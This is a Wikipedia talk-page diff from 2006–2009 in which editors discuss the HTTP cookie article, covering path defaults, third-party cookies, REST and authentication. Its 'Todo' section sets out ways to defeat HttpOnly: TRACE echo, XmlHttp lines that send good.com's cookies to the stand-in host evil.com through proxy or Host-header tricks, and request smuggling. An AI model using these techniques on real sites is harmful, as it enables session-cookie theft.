Talk:HTTP cookie: Difference between revisions

Page contents not supported in other languages.
From Wikipedia, the free encyclopedia
Browse history interactively
← Previous editNext edit →
Content deleted Content added
VisualWikitext
+FAR
←Replaced content with ':'
Line 1: Line 1:
:
{{FAR}}
{{WikiProject_Computing|class=FA|importance=Mid}}
{{ArticleHistory
|action1=PR
|action1date=14:03, 16 January 2006
|action1link=Wikipedia:Peer review/HTTP cookie/archive1
|action1result=reviewed
|action1oldid=35399308

|action2=FAC
|action2date=11:41, 28 January 2006
|action2link=Wikipedia:Featured article candidates/HTTP cookie
|action2result=promoted
|action2oldid=37070130

|maindate=May 8, 2006
|currentstatus=FA
}}
{{V0.5|class=FA|category=Engtech}}
{{archive box|[[Talk:HTTP cookie/Archive 1|Archive 1]]}}
{{Spoken Wikipedia In Progress | [[User:Mangst|Mangst]] ([[User talk:Mangst|talk]]) | 01:29, 13 February 2009 (UTC) }}

== Default value for path? ==
The article says: "
If not specified, they default to the domain and path of the object that was requested."
Other sources say the default value for the path is "/".
The sentence is also inconsistent with the example in the paragraph above.
Can someone confirm or disconfirm? <small><span class="autosigned">—Preceding [[Wikipedia:Signatures|unsigned]] comment added by [[User:Weinzierl|Weinzierl]] ([[User talk:Weinzierl|talk]] • [[Special:Contributions/Weinzierl|contribs]]) 02:01, 25 January 2009 (UTC)</span></small><!-- Template:Unsigned --> <!--Autosigned by SineBot-->

== Contradicting REST? ==

This section below implies REST requires reversible state, and that the "back button" should reverse resource state. Does anybody have a citation that supports these claims? A better example is a multi-step form. If they are on step 5 and press the "back button" they should be able to return to step 4. However, these doesn't necessarily reverse form state. The form might still have fields in step 5 that persist with user data. This doesn't violate REST and reduces the amount of data a user needs to re-enter.

"As an example, if the shopping cart of an online shop is realized using cookies, the content of the cart may not change when the user goes back in the browser's history: if the user presses a button to add an item in the shopping cart and then clicks on the "Back" button, the item remains in the shopping cart. This might not be the intention of the user, who possibly wanted to undo the addition of the item. This inconsistency contradicts the principles of Representational State Transfer (REST), and can lead to unreliability, confusion and bugs." {{unsigned2|16:28, 11 July 2007|128.48.204.175}}

:Indeed, a citation would be in order. If not provided, I'd remove that statement. [[User talk:Tizio|Tizio]] 11:48, 12 July 2007 (UTC)

== Small correction ==

Ok first time i edit a page and add a comment but there was a mistake in the "Implementation section" where it was written that the server first send "Set-Cookie: name=value\nContent-type: text/html\n\n", the fact is, and we clearly see it on "example of an HTTP response from google.com, which sets a cookie with attributes" that the server first send the "Content-type: ..." and after the "Set-cookie : ..." line.

== Removed from article ==

I removed this:

:Another drawback of query strings has to do with the way the Web was designed. URLs should point to resources and be "opaque". See [[Representational_State_Transfer]]. If you have a URL that includes a query string, it is not the actual location of the resource.

This seems to imply that query strings are not to be used altogether, not that they cannot be used in place of cookies. Is this correct? Please clarify and/or provide citations. [[User talk:Tizio|Tizio]] 16:04, 17 November 2006 (UTC)

== HttpOnly ==

Found this list of browser supporting this feature http://greebo.net/?p=364 as of August 2006. It's not a good idea to specify this in the article yet, since it appears that this list would change over time. [[User talk:Tizio|Tizio]] 17:01, 17 November 2006 (UTC)

== Break out "alternatives" section into another article? ==
I'm wondering if the "Alternatives" section should be broken out into another article, possibly combining it with parts of [[web bug]]s, [[internet privacy]], [[e-mail tracking]], [[website tracking]], etc. While cookies are still very common, they really have become just one of many tracking techniques which all have very similar privacy problems. [[User:Wrs1864|Wrs1864]] 21:51, 19 December 2006 (UTC)
:[[Website tracking]] seems unrelated, as far as I can see. But I see your point. Just do not restrict to tracking, since actually what is done is to create state information that is maintained across different HTTP exchanges. Any idea as for the name that article should have? [[User talk:Tizio|Tizio]] 14:46, 20 December 2006 (UTC)
:Still better, you may start creating that other article (possibly taking material from this and the other articles you mentioned); we will then see how to summarize the "alternatives" section in this article. [[User talk:Tizio|Tizio]] 15:08, 20 December 2006 (UTC)

== Inadequate example? ==

The following is given as a practical example of "persistent cookies":
"If the cookie setter does not specify a date, the cookie is removed once the user quits his or her browser. As a result, specifying a date is a way for making a cookie survive across sessions. For this reason, cookies with an expiration date are called persistent. As an example application, a shopping site can use persistent cookies to store the items users have placed in their basket. This way, if users quit their browser without making a purchase and return later, they don't have to find the products they previously placed in the shopping cart over again."
Am I missing something, or does this example apply to non-persistent cookies too, and thus makes a poor choice for distinguishing between the two? <small>—The preceding [[Wikipedia:Sign your posts on talk pages|unsigned]] comment was added by [[Special:Contributions/190.48.104.61|190.48.104.61]] ([[User talk:190.48.104.61|talk]]) 14:08, 25 January 2007 (UTC).</small><!-- HagermanBot Auto-Unsigned -->
:A non-persistent cookie is one with no expiration date specified, so they expire when the session ends (user quits the browser). Since this part is at the beginning of the article, I added a sentence to say what happens if non-persistent cookies were used in this context. [[User talk:Tizio|Tizio]] 14:39, 25 January 2007 (UTC)

::Thank you Tizio, but now take a look at the last two sentences of that paragraph. The first one says that you *don't* want to find your items in the basked when you get back. The one you added says that you do want, and that's precisely what persistent cookies are for. The problem seems to be with the first line, or maybe I'm really dense today. --[[User:190.48.104.61|190.48.104.61]] 17:21, 25 January 2007 (UTC)

:::Now I get what the problem is. I wasn't the original author of that sentence, but my take has always been that "they don't have to find the products they previously placed in the shopping cart over again" means "they do not have to look around again to fill the shopping cart with the same items". You made me realize that this sentence is also compatible with the opposite interpretation! [[User talk:Tizio|Tizio]] 17:55, 25 January 2007 (UTC)

::::Aahhh that makes sense! It's perfect now :-) --[[User:190.48.104.61|190.48.104.61]] 21:33, 25 January 2007 (UTC)

== Todo ==

Something to be added to the article, when completed [http://www.webappsec.org/lists/websecurity/archive/2006-05/msg00025.html]. [[User talk:Tizio|Tizio]] 12:30, 27 December 2006 (UTC)

===TRACE===

A way to circumvent the HttpOnly restriction is to exploit <code>TRACE</code> requests. When an HTTP server receives such a request, it echoes the HTTP header parameters back as a document. As an example, if a server receives the following request:

TRACE / HTTP/1.1
Host: www.example.com
Cookie: thisisacookie

It may answer with something like the following header and document:

HTTP/1.1 200 OK
Date: Wed, 27 Dec 2006 12:17:20 GMT
Server: Ciccio/2.0.49 (CiccioLinux)
Transfer-Encoding: chunked
Content-Type: message/http

46
TRACE / HTTP/1.1
Host: www.example.com
Cookie: thisisacookie
0

The resulting document contains the header of the request it has received, including the cookies.

A JavaScript program can exploit this fact by sending a <code>TRACE</code> request to a server that serves <code>TRACE</code> requests. When it does it, the browser includes the cookies in the request as usual. While the script does not have access to these cookies directly, it can read them in the resulting document. This attack does not require the script to be present on the same server whose cookies has to be stolen. It however requires this server to support HTTP trace requests [http://www.cgisecurity.com/whitehat-mirror/WhitePaper_screen.pdf].

===Proxying/Virtual domain===

A different kind of cross-side scripting relies on the fact that some servers provide documents that are actually located on sites that are different than the requested one. This happens for proxies and when mutiple sites are hosted on the same server. These attacks do not require the script to be located on either the attacker or the attacked sites.

For the proxy-based attack, a script can pretend to connect to site <code>good.com</code> while the proxy actually send it to <code>evil.com</code>:

XmlHttp.open("GET\thttp://evil.com","<nowiki>http://good.com</nowiki>",false);

This instruction contains a request to the site <code>good.com</code>, including the cookies for <code>good.com</code>. However, the proxy server receives <code>GET\thttp://evil.com</code>, which causes it to sent the whole request, including the cookies, to <code>evil.com</code>.

A similar method employing <code>XmlHttp</code> requires the attacked and attacker sites to be hosted on the same server ([[virtual hosting]]). When a script executes the following:

XmlHttp.open("GET","<nowiki>http://good.com</nowiki>",false);
XmlHttp.setRequestHeader("Host","evil.com");

a request for <code>good.com</code> is created. This request includes the header line <code>Host: evil.com</code>. When the server receives this request, it routes it to <code>evil.com</code>, which then receives the cookies intended for <code>good.com</code>. [http://www.securityfocus.com/archive/107/308433]

===Request smuggling===

Request smuggling exploit different behavior on a proxy and a server when receiving a request with two <code>Content-lenght</code> lines, in particular if the proxy uses one line and the server the other one. In this attack, the browser sends what the browser and proxy believes to be a single request, but the server interprets as two ones. What the browser receives is the concatenation of the results of these two requests from the server:

Header-1
Body-1
Header-2
Body-2

The browser considers Header-1 as the header and Body-1/Header-2/Body-2 the. As a result, every cookie Header-2 may contain is now in the document, so JavaScript can access it even if HttpOnly was used. [http://www.cgisecurity.com/lib/HTTP-Request-Smuggling.pdf]

==Not always sent by server first==
I think this is a very good article, but the first sentence: "HTTP cookies ... are parcels of text sent by a server to a web browser and then sent back unchanged by the browser each time it accesses that server." is slightly misleading: it implies that cookies can only be created on the server and the first cookie movement is always server to client.[[User:139.133.7.37|139.133.7.37]] 18:27, 30 March 2007 (UTC)
:You are indeed right: nothing prevents a piece of, say, js code to create a cookie on the client side. However, I think the server sending the cookie first is by far the most common scenario. Even when the cookie is in a piece of javascript code or similar, it's usually still the server that sends it (even if embedded in the code). The exception you are probably referring is when the js actually calculates (in some way, even randomly) the value of the cookie to send.
:Given that, I would rather left the lead as is, or with a minimal change (such as, "cookies are parcels of data exchanged by a web server and browser; they are generally sent by the server to the browser, and handed back by the browser in the following exchanges". [[User talk:Tizio|Tizio]] 20:17, 30 March 2007 (UTC)

==Still don't understand 3rd party cookies==
Having read this article, how does a 3rd party cookie get set by a server when a banner ad is requested: after all this is just a request for an image: no script is being executed on the 3rd party server.
[[User:139.133.7.37|139.133.7.37]] 18:27, 30 March 2007 (UTC)
:The server can execute whatever code it wants when receiving whatever request, including the request of an image. What in the article leads to thinking otherwise? I'm asking so that we could maybe correct the misleading part. [[User talk:Tizio|Tizio]] 20:41, 30 March 2007 (UTC)
::well as the article says: "The Set-Cookie line is typically not created by the HTTP server itself but by a CGI program." so does the request for the image trigger a CGI program which inserts a cookie into the response headers accompanying the image? I think I'm just confused about the mechanics.[[User:139.133.7.37|139.133.7.37]] 18:33, 31 March 2007 (UTC)
:::Just because a URL ends in .gif or .png etc., the server can still invoke another program to serve it (rather than looking for a file). [[User talk:Tizio|Tizio]] 08:54, 2 April 2007 (UTC)
::::So would the cookie typically be sent back in the response headers accompanying the banner image?[[User:139.133.7.37|139.133.7.37]] 11:04, 6 April 2007 (UTC)
:::::Yes. [[User talk:Tizio|Tizio]] 11:29, 6 April 2007 (UTC)
::::::Okay, it's like this: The server receives a request for '/notreallyimages/beacon.gif'. The server has been configured to treat anything in /notreallyimages as a script *regardless of extension* (remember, extensions only really make any difference to Windows, grown-up operating systems have other mechanisms for determining file type). As a result, in the /notreallyimages/ directory there is a perl CGI script that says something like:
use CGI();
my $cgi = new CGI;
my $cookie = $CGI::Cookie->new(-name => 'visitor',
-value => $unique_id,
-expires => '+20y',
-path => '/',
-domain => ".$dom");
print $cgi->header(-cookie => $cookie, -type => 'image/gif');
open GIF "/webimages/trans.gif";
print <GIF>;
close GIF;
exit;

::::::Of course, it's really easy, if someone wanted to, to do crap like include a query string, or make a mod_perl handler that deals with ANY request to /notreallyimages/ to run a specific set of code, for instance. That's how spammers sneak crap into emails to validate them (and why not looking at emails that you don't trust is a good idea, or at least not loading images). They can set a cookie, mark your address valid... doesn't even have to be in an obvious way. Perhaps any request to /images/ runs a script that takes the requested image name and maps it to an email address (at which point the name of the image is usually some sort of checksum for the email address itself, plus an extension to make all browsers happier). Luckily, email clients are getting smarter to this sort of rubbish and it's getting harder and harder for the scammerspammers to get anything. But yeah, I've used the same exact technique for another reason -- to determine if someone in a forum on a server that wasn't mine had read a message I'd sent (even works with BBCode at that point) -- and even then to make my website behave differently based on whether thay had or not (like I could send an invitation for a download of something I'd normally sell and not even have to set up login info for them, stuff like that).[[Special:Contributions/208.54.15.44|208.54.15.44]] ([[User talk:208.54.15.44|talk]]) 02:48, 3 March 2008 (UTC)

== window.name is cross browser !==
According to the article, window.name doesn't work in Firefox. To my knowledge, it is not true. I use this trick every day, and every browser I've tried are quite happy with it. So window.name is cross-domain AND cross-browser. <small>—The preceding [[Wikipedia:Sign your posts on talk pages|unsigned]] comment was added by [[Special:Contributions/81.57.178.244|81.57.178.244]] ([[User talk:81.57.178.244|talk]]) 09:19, 31 March 2007 (UTC).</small><!-- HagermanBot Auto-Unsigned -->
:Maybe older versions of mozilla/firefox don't support this persistence method. Also, the new reference mention safari, firefox, and ie, which suggests that it doesn't work on every possible browser. [[User talk:Tizio|Tizio]] 10:21, 31 March 2007 (UTC)

== Odd Comment ==
Under the Purpose heading in the article there is a comment 'Alex savage likes to eat lot of cookies.' I don't believe it belongs here, but will let someone else make the modification to the article. [[User:PeasleeR|Robert Peaslee]] 14:39, 25 April 2007 (UTC)

== References Out of Context ==

In the Realization section, there are two references that should not be included. "Cookie specifications[3][4] suggest that browsers should support a minimal number of cookies or amount of memory for storing them." "Cookie names are case insensitive according to section 3.1 of RFC 2965"

Those quotes were used in the context of this list of web browsers:
* Firefox 1.5: 50
* Firefox 2.0: 50
* Safari 3 public beta
* Opera 9: 30
* Internet Explorer 6: 20
* Internet Explorer 7: 20

This is very misleading because cookies, as defined in [4] RFC 2109 and RFC 2965, are not supported by Firefox or Internet Explorer. Those two browsers only support the obsolete description in [3] Preliminary spec. [[User:Miqrogroove|Miqrogroove]] 08:05, 24 July 2007 (UTC)

== Subjective Phrase in Cookie Poisoning ==

Under the heading Cookie Poisoning there is this misleading statement, "... all the other information is stored on the server. In this case, the problem of cookie poisoning is largely eliminated." I would say that is not true. Moving information to the server side without additional checks on the cookie value leads to a security flaw called [[session fixation]]. As such, cookie poisoning is not at all eliminated. [[User:Miqrogroove|Miqrogroove]] 08:13, 24 July 2007 (UTC)

== Auth Schemes Confused ==

This paragraph is incorrect:

"As for authentication, the HTTP protocol includes mechanisms, such as the digest access authentication, that allow access to a Web page only when the user has provided the correct username and password. ... In the background, the username and password combination is sent to the server in every browser request. This means that someone listening in on this traffic, can simply read this information and store for later use."

The Digest scheme of HTTP Authentication does not send passwords to the server. Under RFC 2617, Digest responses 'stored for later use' are not valid. "The purpose of this directive is to allow the server to detect request replays... If a directive or its value is improper, or required directives are missing, the proper response is 400 Bad Request." [[User:Miqrogroove|Miqrogroove]] 08:25, 24 July 2007 (UTC)

:Yes, that part ("in the background...") indeed applies to the basic authentication protocol. [[User talk:Tizio|Tizio]] 13:02, 24 July 2007 (UTC)

== Number of Cookies Supported is not Listed for Safari 3 ==

Even though some commentators have issues with the whole section, the number of cookies supported for Safari 3 is missing:

* Firefox 1.5: 50
* Firefox 2.0: 50
* Safari 3 public beta
* Opera 9: 30
* Internet Explorer 6: 20
* Internet Explorer 7: 20 <small>—Preceding [[Wikipedia:Signatures|unsigned]] comment added by [[User:Kolenskim|Kolenskim]] ([[User talk:Kolenskim|talk]] • [[Special:Contributions/Kolenskim|contribs]]) 20:56, 5 September 2007 (UTC)</small><!-- Template:Unsigned --> <!--Autosigned by SineBot-->

== 0.9 Mosiac Netscape Release Date ==

A previous version of the article mentions a Sept. 1994 release date for the 0.9 beta (I think it referenced Kristol's article at footnote 2), which has now been replaced in the article with an Oct. 13, 1994 release date backed by footnotes 18 and 19. I've been told there was an earlier release of the 0.9 beta in the Sept. 94 timeframe, like a limited release to an outside company for testing. Anyone have a footnote worthy article or any other info to back this up?

[[User:Patjz1|Patjz1]] 23:53, 11 October 2007 (UTC)

==Security Concerns==
After reading this article, I was disappointed that despite being a featured article, it does not touch on any of the recent highly-publicized security and privacy concerns around the use of cookies. I've had a go at rectifying this - please help to expand. [[User:Socrates2008|Socrates2008]] 12:02, 7 November 2007 (UTC)

== Alternatives (server side sessions) ==

In the topic "Alternatives to cookies", it is not cited the Java Servlet's "server side sessions".

== Replace all images of cookies with text ==

Turn loading images off on your browser when reading this article and
you will see how frustrating it certainly is for some users who can't
see images.

Cookies are text items. Just include them in-line, indented with a space! [[User:Jidanni|Jidanni]] ([[User talk:Jidanni|talk]]) 12:13, 14 February 2008 (UTC)
:The only cookie I can see is placed as an image is [[:Image:HTTP-Cookie-Google.png]], and it's there mostly for breaking the flow of text (it was used at the beginning of the article because that was required to articles that have to be shown in the main page). The other images contains more than just a cookie. [[User talk:Tizio|Tizio]] 12:31, 14 February 2008 (UTC)

== Why is ''expires'' so stupid? ==

Does anyone know why they decided on a format like:
Sun, 27-Feb-2028 01:57:10 GMT
for the expiry of a cookie? Why is it neceesary to have to calculate the day of week in English to make a cookie's expiry valid? What moron came up with this idea?

Seriously, wouldn't:
20280227015710
make more sense? Why should it matter to a web browser whether the 13th of December, 1998 is a Saturday, in English?[[Special:Contributions/208.54.15.44|208.54.15.44]] ([[User talk:208.54.15.44|talk]]) 02:56, 3 March 2008 (UTC)
: The format of the date in the original cookie standard conforms to [[RFC 1123 date format]] and is used in the same way in other locations within the HTTP 1.0 spec which pre-dated cookies, such as the Date: and Expires: header. Note that subsequent cookie standards define an alternative way to specify date, as a "max-age" in seconds rather than a date. [[User:Mmj|mmj]] ([[User talk:Mmj|talk]]) 04:10, 18 November 2008 (UTC)

== The name "cookie" ==

How did the name "cookie" come about? This should be in the article. Also, some history as to how the concept came to be. [[User:Bytebear|Bytebear]] ([[User talk:Bytebear|talk]]) 23:55, 24 March 2008 (UTC)

== dead link ==

http://wp.netscape.com/newsref/std/cookie_spec.html (third ref) is a dead link. --[[User:Caerbannog|Caerbannog]] ([[User talk:Caerbannog|talk]]) 10:40, 3 August 2008 (UTC)

How about http://web.archive.org/web/20060318102926/wp.netscape.com/newsref/std/cookie_spec.html from Wayback? [[Special:Contributions/194.202.251.35|194.202.251.35]] ([[User talk:194.202.251.35|talk]]) 15:27, 4 August 2008 (UTC)

== Structured client-side storage ==

What about [http://www.whatwg.org/specs/web-apps/current-work/#structured Structured client-side storage] that has been in Firefox since version 2?--[[Special:Contributions/92.229.218.177|92.229.218.177]] ([[User talk:92.229.218.177|talk]]) 11:03, 6 August 2008 (UTC)

== References need improving ==

There are many sections of this article that are uncited. Two of the links are dead. Also, there are external links within the body of the article which are not allowed by [[WP:MOS]] and [[WP:EL]]. Please fix article so it can remain a FA. Regards, &mdash;[[User:Mattisse|<font color="navy">'''Mattisse'''</font>]] ([[User talk:Mattisse|Talk]]) 00:15, 28 October 2008 (UTC)

== Basket section and security ==

I removed (well, modified) the following section under 'Basket', referring to storing shopping cart contents in a cookie:
: This is a very insecure mechanism{{Fact|date=October 2008}}, because a malicious user can alter the cookie; a much more secure mechanism is to generate a random cookie as under "tracking", and using that as a lookup key in a database stored on the server.
While tampering with cookies by the user is an issue that can cause problems in some applications, this is not one of them. A user tampering with such a cookie would at most be able to add or remove items from their cart. It is not insecure in that the user cannot modify other people's carts or cheat the system in any way. A server would need to validate the cookie to verify that the cookie refers to actual products that are available, but that sort of thing falls under validation of input and is not specifically related to cookies. A server that does not validate its input has security problems in its own right and this is outside the scope of this article. [[User:Mmj|mmj]] ([[User talk:Mmj|talk]]) 01:53, 10 November 2008 (UTC)

== how can i stop cookies? ==

i am afraid
----
please respond
----
[[User:Mike881270|Mike881270]] ([[User talk:Mike881270|talk]]) 21:29, 13 November 2008 (UTC)
Turn your computer off, or assimilate. Not much else to be done about them. <span style="font-size: smaller;" class="autosigned">—Preceding [[Wikipedia:Signatures|unsigned]] comment added by [[Special:Contributions/75.17.203.11|75.17.203.11]] ([[User talk:75.17.203.11|talk]]) 19:17, 14 February 2009 (UTC)</span><!-- Template:UnsignedIP --> <!--Autosigned by SineBot-->

Revision as of 12:36, 17 March 2009

Retrieved from "https://en.wikipedia.org/w/index.php?title=Talk:HTTP_cookie&oldid=277850451"